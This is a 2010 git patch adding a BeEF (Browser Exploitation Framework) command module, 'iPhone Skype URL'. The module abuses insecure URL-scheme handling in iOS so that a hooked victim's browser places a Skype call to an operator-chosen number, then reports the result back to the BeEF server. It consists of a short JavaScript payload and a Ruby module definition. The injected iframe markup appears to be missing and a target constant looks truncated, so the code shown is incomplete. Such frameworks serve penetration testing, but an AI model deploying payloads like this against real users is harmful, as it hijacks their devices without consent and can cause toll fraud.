From ce79a9a12ef1cd7b39e7d339033c31751a08db39 Mon Sep 17 00:00:00 2001 From: xntrik Date: Sat, 27 Nov 2010 09:21:27 +0000 Subject: [PATCH] issue 149 : iphone skype calling module git-svn-id: https://beef.googlecode.com/svn/trunk@584 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9 --- .../host/iphone_skype/iphone_skype.js | 5 ++ .../host/iphone_skype/iphone_skype.rb | 46 +++++++++++++++++++ 2 files changed, 51 insertions(+) create mode 100644 modules/commands/host/iphone_skype/iphone_skype.js create mode 100644 modules/commands/host/iphone_skype/iphone_skype.rb diff --git a/modules/commands/host/iphone_skype/iphone_skype.js b/modules/commands/host/iphone_skype/iphone_skype.js new file mode 100644 index 000000000..7b13a382a --- /dev/null +++ b/modules/commands/host/iphone_skype/iphone_skype.js @@ -0,0 +1,5 @@ +beef.execute(function() { + document.body.innerHTML = ""; + + beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "result=IFrame Created!"); +}); diff --git a/modules/commands/host/iphone_skype/iphone_skype.rb b/modules/commands/host/iphone_skype/iphone_skype.rb new file mode 100644 index 000000000..7f015703d --- /dev/null +++ b/modules/commands/host/iphone_skype/iphone_skype.rb @@ -0,0 +1,46 @@ +module BeEF +module Modules +module Commands + + +class Iphone_skype < BeEF::Command + + # + # Defines and set up the command module. + # + def initialize + super({ + 'Name' => 'iPhone Skype URL', + 'Description' => 'Utilise Nitesh Dhanjani\'s Insecure Handling of URL Schemes in iOS to try and make the browser execute a skype call', + 'Category' => 'Host', + 'Author' => 'xntrik', + 'Data' => + [ + [ 'name' => 'tel_num', + 'ui_label'=>'Skype Number', + 'value' =>'5551234', + 'width' => '200px' + ], + ], + 'File' => __FILE__, + 'Target' => { + 'browser_name' => BeEF::Constants::Browsers::S + } + }) + + use 'beef.dom' + use_template! + end + + def callback + content = {} + content['Result'] = @datastore['result'] + save content + + end + +end + +end +end +end